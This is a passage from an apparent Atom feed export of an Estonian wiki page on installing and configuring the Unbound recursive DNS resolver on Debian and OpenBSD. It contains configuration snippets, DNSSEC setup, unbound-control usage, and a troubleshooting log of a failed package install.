 local-data: &amp;quot;1.0.0.127.in-addr.arpa. 10800 IN PTR localhost.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Selleks, et asutuse lokaalses autoriteetses nimeserveris kirjeldatud privaatsete aadresside pöördteisendused töötaksid tuleb kirjeldada vastava tsooni jaoks local-zone väärtusega nodefault&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
    ...&lt;br /&gt;
    local-zone: &amp;quot;168.192.in-addr.arpa.&amp;quot; nodefault&lt;br /&gt;
    &lt;br /&gt;
ning nt 192.168.1 võrgu puhul näidata pädeva nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
===Jõudlus===&lt;br /&gt;
&lt;br /&gt;
* Unbound oskab kasutada mitut protsessorit ja nö keskpärasel riistvaral suudab teenidada kümneid tuhandeid päringuid sekundis.&lt;br /&gt;
* Unbound on 2-3 korda kiirem kui Bind.&lt;br /&gt;
&lt;br /&gt;
===Klientprogrammi unbound-host kasutamine===&lt;br /&gt;
&lt;br /&gt;
Klientprogramm unbound-host võimaldab nt kontrollida, kas nimelahenduse valideerimine töötab&lt;br /&gt;
&lt;br /&gt;
  # unbound-host -C unbound.conf -t A -v www.kaminskybug.se &lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 0: validator&lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 1: iterator&lt;br /&gt;
  www.kaminskybug.se is an alias for fou.iis.se. (secure)&lt;br /&gt;
  fou.iis.se has address 212.247.204.242 (secure)&lt;br /&gt;
&lt;br /&gt;
===Haldusprogramm unbound-control===&lt;br /&gt;
&lt;br /&gt;
Haldusprogrammiga unbound-control saab juhtida Unbound resolveri tööd ja küsida statistikat. Kuna unbound-control võimaldab resolveri töötamist oluliselt mõjutada, nt laadida cache sisu tekstifailist või resolveri seisata, siis peab hoolega jälgima, et unbound-control kasutamisele oleks seatud vajalikud piirangud.&lt;br /&gt;
&lt;br /&gt;
====Unbound resolveri ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
unbound-control suhtleb Unbound serveriga vaikimisi üle 953/tcp pordi. Osaliste autentimiseks kasutatakse avaliku-võtme tehnikat, vajalike võtmete genereerimiseks sobib kasutada unbound-control-setup utiliiti&lt;br /&gt;
&lt;br /&gt;
 # unbound-control-setup&lt;br /&gt;
 ... &lt;br /&gt;
 Signature ok&lt;br /&gt;
 subject=/CN=unbound-control&lt;br /&gt;
 Getting CA Private Key&lt;br /&gt;
 Setup success. Certificates created. Enable in unbound.conf file to use&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /var/unbound/etc kataloogi neli võtit, kask serveri ja kaks kliendi jaoks&lt;br /&gt;
&lt;br /&gt;
  unbound_control.key&lt;br /&gt;
  unbound_control.pem&lt;br /&gt;
  unbound_server.key&lt;br /&gt;
  unbound_server.pem&lt;br /&gt;
&lt;br /&gt;
unbound-control kasutamiseks tuleb vastav funktsionaalsus Unbound serveris sisse lülitada nt sektsiooniga&lt;br /&gt;
&lt;br /&gt;
  remote-control:&lt;br /&gt;
        control-enable: yes&lt;br /&gt;
        control-interface: 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
====unbound-control kasutamine====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi kasutab unbound-control Unbound serveri seadistusfaili, nt sobib alustuseks kasutada unbound serverit ja unbound-control utiliiti samas arvutis.&lt;br /&gt;
&lt;br /&gt;
* Unbound resolveri oleku küsimine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control status             &lt;br /&gt;
  version: 1.3.0&lt;br /&gt;
  verbosity: 1&lt;br /&gt;
  threads: 1&lt;br /&gt;
  modules: 2 [ validator iterator ]&lt;br /&gt;
  uptime: 1184 seconds&lt;br /&gt;
  unbound (pid 23298) is running...&lt;br /&gt;
&lt;br /&gt;
* Resolveri cacheist tsooni loomaaed.tartu.ee andmete kustutamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control flush_zone loomaaed.tartu.ee&lt;br /&gt;
  ok removed 3 rrsets, 2 messages and 0 key entries&lt;br /&gt;
&lt;br /&gt;
* Cache sisu esitamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control dump_cache&lt;br /&gt;
&lt;br /&gt;
====Resolveri kasutusstatistika====&lt;br /&gt;
&lt;br /&gt;
Üks unbound-control kasutusjuht on koguda resolveri kasutusstatistikat&lt;br /&gt;
&lt;br /&gt;
  # unbound-control stats_noreset&lt;br /&gt;
&lt;br /&gt;
Praktiliselt on seda sobiv automatiseerida Munin või Cacti tarkvaraga, mida on kirjeldatud aadressil http://www.unbound.net/documentation/howto_statistics.html.&lt;br /&gt;
&lt;br /&gt;
===Unbound ja NSD protsessid samas arvutis===&lt;br /&gt;
&lt;br /&gt;
Unbound seadistusfailis sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.org&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.org&amp;quot; &lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
&lt;br /&gt;
===IPv6 kasutamine===&lt;br /&gt;
&lt;br /&gt;
IPv6 kasutamiseks tuleb seadistusfailis näidata, millisel IPv6 aadressil protsess kuulab&lt;br /&gt;
&lt;br /&gt;
 interface: 2001:1530:90:11:192::53&lt;br /&gt;
&lt;br /&gt;
ning lubada asjakohastest võrkudest teenuse poole pöörduda, nt&lt;br /&gt;
 &lt;br /&gt;
 access-control: fd99::/64 allow&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb arvestada seda, et nimepäringute lahendamiseks kasutab Unbound ise IPv4 ja IPv6 võrku.&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* private-address ja private-domain kasutamine toimub koostöös&lt;br /&gt;
* private-domain loetleb domeenide nimed, mille alla kuuluvad kirjed võivad lahenduda privaatseteks aadressideks&lt;br /&gt;
* private-address määratleb, mida peetakse antud kasutusjuhtumil silmas privaatsete aadresside all&lt;br /&gt;
* üks unbound protssess saab tegeleda ainult ühe komplekti domeenide ja ühe komplekti privaatsete aadressidega&lt;br /&gt;
* vaikimisi ei lahenda unbound as112 hulka kuuluvate dns nimesid (nt 4.3.2.10.in-addr.arpa ptr kirje küsimust)&lt;br /&gt;
* local-zone abil saab teha erandeid mainitud as112 nimede lahenduses&lt;br /&gt;
&lt;br /&gt;
local-zone erandi tegemine 168.192.in-addr.arpa jaoks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
local-zone: &amp;quot;168.192.in-addr.arpa&amp;quot; transparent&lt;br /&gt;
&lt;br /&gt;
stub-zone:&lt;br /&gt;
  name: &amp;quot;168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
  stub-addr: 10.192.0.53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dns rebinding protection on vaikimisi välja lülitatud, st private-address ja private-domain väärtused on tühjad, kasutamine toimub nt selliselt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
private-address: &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Takerdub&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install unbound&lt;br /&gt;
root@arv:~# apt-get install unbound&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound-anchor&lt;br /&gt;
The following NEW packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound unbound-anchor&lt;br /&gt;
0 upgraded, 5 newly installed, 0 to remove and 49 not upgraded.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Setting up unbound (1.6.7-1ubuntu2.6+esm4) ...&lt;br /&gt;
Created symlink /etc/systemd/system/multi-user.target.wants/unbound.service → /lib/systemd/system/unbound.service.&lt;br /&gt;
Created symlink /etc/systemd/system/unbound.service.wants/unbound-resolvconf.service → /lib/systemd/system/unbound-resolvconf.service.&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
invoke-rc.d: initscript unbound, action &amp;quot;start&amp;quot; failed.&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (auto-restart) (Result: exit-code) since Tue 2026-06-16 11:21:17 EEST; 9ms ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 5650 ExecStart=/usr/sbin/unbound -d $DAEMON_OPTS (code=exited, status=1/FAILURE)&lt;br /&gt;
  Process: 5304 ExecStartPre=/usr/lib/unbound/package-helper root_trust_anchor_update (code=exited, status=0/SUCCESS)&lt;br /&gt;
  Process: 5301 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
 Main PID: 5650 (code=exited, status=1/FAILURE)&lt;br /&gt;
Processing triggers for libc-bin (2.27-3ubuntu1.6+esm6) ...&lt;br /&gt;
Processing triggers for systemd (237-3ubuntu10.57+esm3) ...&lt;br /&gt;
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...&lt;br /&gt;
&lt;br /&gt;
root      5304  0.0  0.0   4636   896 ?        Ss   11:20   0:00 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
unbound   5307  0.0  0.0  34596  7820 ?        S    11:20   0:00  \_ /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# systemctl status unbound&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (start-pre) since Tue 2026-06-16 11:33:15 EEST; 38s ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 12287 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
Cntrl PID: 12290 (package-helper)&lt;br /&gt;
    Tasks: 2 (limit: 4915)&lt;br /&gt;
   CGroup: /system.slice/unbound.service&lt;br /&gt;
           ├─12290 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
           └─12293 /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&lt;br /&gt;
Jun 16 11:33:15 arv.auul.pri.ee systemd[1]: Starting Unbound DNS server...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lahenduse koht&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# head -n 10 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
&lt;br /&gt;
root@arv:~# head -n 20 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
RESOLVCONF=&amp;quot;true&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_UPDATE=&amp;quot;true&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ -f /etc/default/unbound ]; then&lt;br /&gt;
    . /etc/default/unbound&lt;br /&gt;
&lt;br /&gt;
    case &amp;quot;x$RESOLVCONF&amp;quot; in xfalse|x0|xno)&lt;br /&gt;
        RESOLVCONF=&amp;quot;false&amp;quot;&lt;br /&gt;
        ;;&lt;br /&gt;
    esac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
t&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
server:&lt;br /&gt;
    interface: 127.0.0.1&lt;br /&gt;
    port: 53&lt;br /&gt;
    do-ip4: yes&lt;br /&gt;
    do-ip6: no&lt;br /&gt;
&lt;br /&gt;
    access-control: 127.0.0.1/32 allow&lt;br /&gt;
    module-config: &amp;quot;iterator&amp;quot;&lt;br /&gt;
    verbosity: 1&lt;br /&gt;
    use-syslog: yes&lt;br /&gt;
    log-queries: yes&lt;br /&gt;
&lt;br /&gt;
stub-zone:&lt;br /&gt;
  name: &amp;quot;xxx.ee&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.111&lt;br /&gt;
&lt;br /&gt;
forward-zone:&lt;br /&gt;
  name: &amp;quot;.&amp;quot;&lt;br /&gt;
  forward-addr: 10.0.9.4&lt;br /&gt;
  forward-addr: 10.0.9.5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://unbound.net/&lt;br /&gt;
* http://unbound.nlnetlabs.nl/pipermail/unbound-users/&lt;br /&gt;
* http://www.howtoforge.com/installing-using-unbound-nameserver-on-debian-etch&lt;br /&gt;
* http://www.nlnetlabs.nl/publications/dnssec_howto/index.html&lt;br /&gt;
* http://secspider.cs.ucla.edu/islands.html&lt;br /&gt;
* https://itar.iana.org/&lt;br /&gt;
* https://ns.iana.org/dnssec/status.html&lt;br /&gt;
* https://dlv.isc.org/&lt;br /&gt;
* http://en.wikipedia.org/wiki/AS112&lt;br /&gt;
* [[:Pädeva nimeserveri NSD kasutamine]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4245</id>
		<title>Rekursiivse resolveri Unbound kasutamine operatsioonisüsteemiga Debian</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4245"/>
		<updated>2026-06-17T21:16:57Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 2026 kevad märkused */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Kategooria:Interneti domeeninimede süsteem]]&lt;br /&gt;
===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
Üks võimalus liigitada nimeservereid või nimeserverite tarkvara on selle järgi, millised päringuid teenindatakse&lt;br /&gt;
&lt;br /&gt;
* pädev ehk autoriteetne (ingl. k. authoritative) - vastab päringutele ainult nimeserveri tsoonifailis kirjeldatud andmete alusel; autoriteetsed nimeserverid teenindavad reeglina resolverite päringuid&lt;br /&gt;
* rekursiivne (ingl. k. recursive) - rekursiivne nimeserver ei sisalda nö oma tsoonifaili, st ta ei ole mingite vastuste osas autoriteetne; rekursiivne nimeserver teenindab mingi piiratud hulga klientide päringuid lahendades neid autoriteetsete nimeserverite abil ja seetõttu nimetatakse rekursiivset nimeserverit tihti resolveriks (ingl. k. to resolve - lahendama)&lt;br /&gt;
&lt;br /&gt;
Unbound http://www.unbound.net/ resolveril on selliseid omadused&lt;br /&gt;
&lt;br /&gt;
* rekursiivne - lahendab nö lõppkasutaja esitatud päringuid, nt sobib seadistada töökohaarvuti nimeserveriks&lt;br /&gt;
* vaheladustav (ingl. k. caching) - Unbound peab kord lahendatud vastust mõnda aega meeles, mis tähendab, et järgmisele samale päringule vastab ta kliendile kohe ja ei pea omakorda pöörduma vastuse saamiseks autoriteetsete nimeserverite poole&lt;br /&gt;
* valideeriv - toetab DNSSEC kasutamist&lt;br /&gt;
* IPv6 tugi&lt;br /&gt;
&lt;br /&gt;
Rekursiivse resolveri vastutus on parimal võimalikul moel anda kliendi esitatud päringule vastus, seejuures&lt;br /&gt;
&lt;br /&gt;
* kasutada vastuse koostamisel mitmete pädevate nimeserverite abi&lt;br /&gt;
* anda õige vastus - nt mitte ennast lasta eksitada cache poisoning tehnikatest, võimalusel kasutada DNSSEC vahendeid&lt;br /&gt;
* vastata kiiresti&lt;br /&gt;
&lt;br /&gt;
===Unbound paigaldamine===&lt;br /&gt;
&lt;br /&gt;
2011 aastal leidub paljude operatsioonisüsteemide paketihalduses Unbound tarkvara. &lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze sisaldab versiooni 1.4.6 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install unbound&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
OpenBSD 5.4 sisaldab binaarse paketina versiooni 1.4.9 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pkg_add unbound      &lt;br /&gt;
 unbound-1.4.20:libldns-1.6.16p0: ok                                                                                                        &lt;br /&gt;
 useradd: Warning: home directory `/var/unbound' doesn't exist, and -m was not specified                                                    &lt;br /&gt;
 unbound-1.4.20: ok                                                                                                                         &lt;br /&gt;
 The following new rcscripts were installed: /etc/rc.d/unbound&lt;br /&gt;
 See rc.d(8) for details.&lt;br /&gt;
 --- +unbound-1.4.20 -------------------&lt;br /&gt;
 You should add:&lt;br /&gt;
 &lt;br /&gt;
     syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 to /etc/rc.conf.local to create a syslog socket in the unbound chroot.&lt;br /&gt;
&lt;br /&gt;
Selleks, et /etc/rc.d/unbound skript töötaks, peab olema seadistatud unbound-control (127.0.0.1 pealt).&lt;br /&gt;
&lt;br /&gt;
===Unbound seadistamine===&lt;br /&gt;
&lt;br /&gt;
Resolveri seadistusfailis tuleb näidata muu hulgas&lt;br /&gt;
&lt;br /&gt;
* juurnimeserverite aadressid&lt;br /&gt;
* millisel aadressil resolver päringuid teenindab&lt;br /&gt;
* millised kliendid saavad resolverit kasutada, tavaliselt kliendi src ip aadressi täpsusega&lt;br /&gt;
&lt;br /&gt;
Unbound tööd juhib seadistusfail unbound.conf&lt;br /&gt;
&lt;br /&gt;
* /etc/unbound/unbound.conf - Debian&lt;br /&gt;
* /var/unbound/etc/unbound.conf - OpenBSD&lt;br /&gt;
&lt;br /&gt;
Lihtsamal juhul võib kasutada nt sellise sisuga seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
     interface: 192.168.10.190&lt;br /&gt;
     outgoing-interface: 192.168.10.190&lt;br /&gt;
     access-control: 192.168.1.0/24 allow&lt;br /&gt;
     access-control: 192.168.10.0/24 allow_snoop&lt;br /&gt;
     root-hints: &amp;quot;/var/unbound/etc/named.cache&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* interface - millisel aadressil arvuti Unbound resolveri kliente teenindab&lt;br /&gt;
* outgoing-interface - milliselt aadressilt resolveri päringud autoriteetsetele nimeserveritele väljuvad&lt;br /&gt;
* access-control - millistelt ip aadressidelt saab Unbound resolverit kasutada; allow lubab esitada ainult rekursiivseid päringuid, nt +norec annab vaikimisi refused vastuse&lt;br /&gt;
&lt;br /&gt;
 $ dig +norec @nimeserver domeeni.nimi&lt;br /&gt;
 ...&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: REFUSED, id: 52133&lt;br /&gt;
&lt;br /&gt;
allow_snoop lubab mõlemaid (viimane on vajalik, et unbound kasutaja saaks öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig +trace @nimeserver domeeni.nimi&lt;br /&gt;
&lt;br /&gt;
* root-hints - resolver peab alati teadma interneti juurnimeserverite aadresse&lt;br /&gt;
&lt;br /&gt;
Juurnimeserverite aadresse saab küsida mõnes juba seadistatud resolveriga arvutis&lt;br /&gt;
&lt;br /&gt;
  $ dig . ns&lt;br /&gt;
&lt;br /&gt;
või kopeerida aadressilt Linuxis&lt;br /&gt;
&lt;br /&gt;
  $ wget ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
OpenBSD keskkonnas&lt;br /&gt;
&lt;br /&gt;
  $ ftp ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
===Unbound käivitamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolver teenindab päringuid portidel 53/udp ja 53/tcp.&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Unbound töötaks OpenBSD all chroot keskkonnas kataloogis /var/unbound kasutajana _unbound tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 chroot: &amp;quot;/var/unbound&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Et chroot keskkonnas töötav Unbound saaks logida syslog'i tuleb syslog käivitamisel lisaks kasutada '-a /var/unbound/dev/log'&lt;br /&gt;
&lt;br /&gt;
  # syslogd -a /var/www/dev/log -a /var/empty/dev/log -a /var/unbound/dev/log&lt;br /&gt;
&lt;br /&gt;
/etc/rc.conf.local failis sobib kasutada rida&lt;br /&gt;
&lt;br /&gt;
  syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2012 kevadel ütleb OpenBSD v. 5.1 paketihalduse unbound chroot kasutamisel kävitamisel nii&lt;br /&gt;
&lt;br /&gt;
 # unbound -dv                             &lt;br /&gt;
 [1335943357] unbound[20534:0] notice: Start of unbound 1.4.15.&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: increased limit(open files) from 128 to 4140&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: unable to setusercontext _unbound: Bad file descriptor&lt;br /&gt;
&lt;br /&gt;
Limiitide tuleb töötada sarnaselt nagu on kirjeldatud aadressil http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_OpenBSD_kasutamine#Login_class_kasutamine.&lt;br /&gt;
&lt;br /&gt;
Tavalisel viisil sobib kasutada käivitusskripti&lt;br /&gt;
&lt;br /&gt;
  # /etc/rc.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
Vastasel korral on logis midagi sellist&lt;br /&gt;
&lt;br /&gt;
 Mar 13 16:03:01 unbound[28759:0] error: can't create socket: Too many open files&lt;br /&gt;
&lt;br /&gt;
===Unbound kasutamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri kasutajateks on tavaliselt arvutid, mis vajavad nimelahendust, nt kohtvõrgu arvutid, eposti serverid jt kusjuures Unbound protsess töötab selleks ettenähtud arvutis või võrgusõlmeks olevas seadmes&lt;br /&gt;
&lt;br /&gt;
      internet&lt;br /&gt;
        ...&lt;br /&gt;
         |&lt;br /&gt;
        _|_&lt;br /&gt;
       |   | OpenBSD võrgusõlm&lt;br /&gt;
       |___| Unbound protsess&lt;br /&gt;
         |&lt;br /&gt;
   --|---|----------|-----------|--&lt;br /&gt;
     |              |           |&lt;br /&gt;
 &lt;br /&gt;
          dns kliendid (töökohaarvuti, serverid)&lt;br /&gt;
&lt;br /&gt;
Linux keskkonnas sobib näidata nimeserveri aadress staatiliselt arvuti /etc/resolv.conf failis nt reaga&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.10.190&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri tööd saab kontrollida nt öeldes mõnes arvutis, kus peab kõnealust resolverit saama kasutada&lt;br /&gt;
&lt;br /&gt;
  $ dig @192.168.10.190 kuutorvaja.eenet.ee a&lt;br /&gt;
&lt;br /&gt;
ja vastus peaks sisaldama sarnaseid ridu rida&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;kuutorvaja.eenet.ee.           IN      A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  kuutorvaja.eenet.ee.    83840   IN      A       193.40.0.7&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
===Nimepäringu vastuse valideerimine===&lt;br /&gt;
&lt;br /&gt;
Nimepäringute vastuste valideerimiseks kasutatakse üldiselt DNSSEC tehnikat. 2011 aastal on selleks mitmeid võimalusi, kaks populaarsemat on&lt;br /&gt;
&lt;br /&gt;
* signeeritud tsoonifailidega juurnimeserverite kasutamine, kõige loomulikum viis&lt;br /&gt;
* DLV (DNSSEC Look-aside Validation) - üleminekuaja häkk&lt;br /&gt;
&lt;br /&gt;
Kui nimeteenust kasutatakse sarnaselt ülaltoodud skeemile, siis peab arvestama, et DNSSEC kontroll toimub Unbound protsessi juures, sealt edasi kliendini liigub vastus tavalise avateksina üle kohtvõrgu ja klient otsustab vastuse turvalisuse üle ad biti järgi vastuses. Seetõttu on reeglina soovitav, et Unbound töötaks nimeteenust kasutatavatele arvutitele võimalikult lähedal.&lt;br /&gt;
&lt;br /&gt;
DNSSEC juurutamise kronoloogia&lt;br /&gt;
&lt;br /&gt;
* 15. juuli 2010 - juurnimeserverid kasutavad signeeritud tsoone http://www.root-dnssec.org/&lt;br /&gt;
* ? - .org tsoon on signeeritud&lt;br /&gt;
* 31. märts 2011 - .com tsoon on signeeritud http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
* http://blogs.pcmag.com/securitywatch/2011/03/dnssec_in_com_domain_is_a_good.php&lt;br /&gt;
&lt;br /&gt;
====Signeeritud tsoonifailiga juurnimeserverite kasutamine====&lt;br /&gt;
&lt;br /&gt;
Unbound seadistamiseks tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 auto-trust-anchor-file: &amp;quot;root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures fail peab olema unbound protsessile kirjutatav ning esialgselt sisaldama rida (as per http://unbound.net/documentation/howto_anchor.html)&lt;br /&gt;
&lt;br /&gt;
 # cat /var/unbound/etc/root.key&lt;br /&gt;
 . IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5&lt;br /&gt;
&lt;br /&gt;
 # chown _unbound /var/unbound/etc&lt;br /&gt;
 # chown _unbound:_unbound /var/unbound/etc/root.key&lt;br /&gt;
&lt;br /&gt;
Peale unbound protsessi käivitamist selle faili sisu muutub automaatselt.&lt;br /&gt;
&lt;br /&gt;
Kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
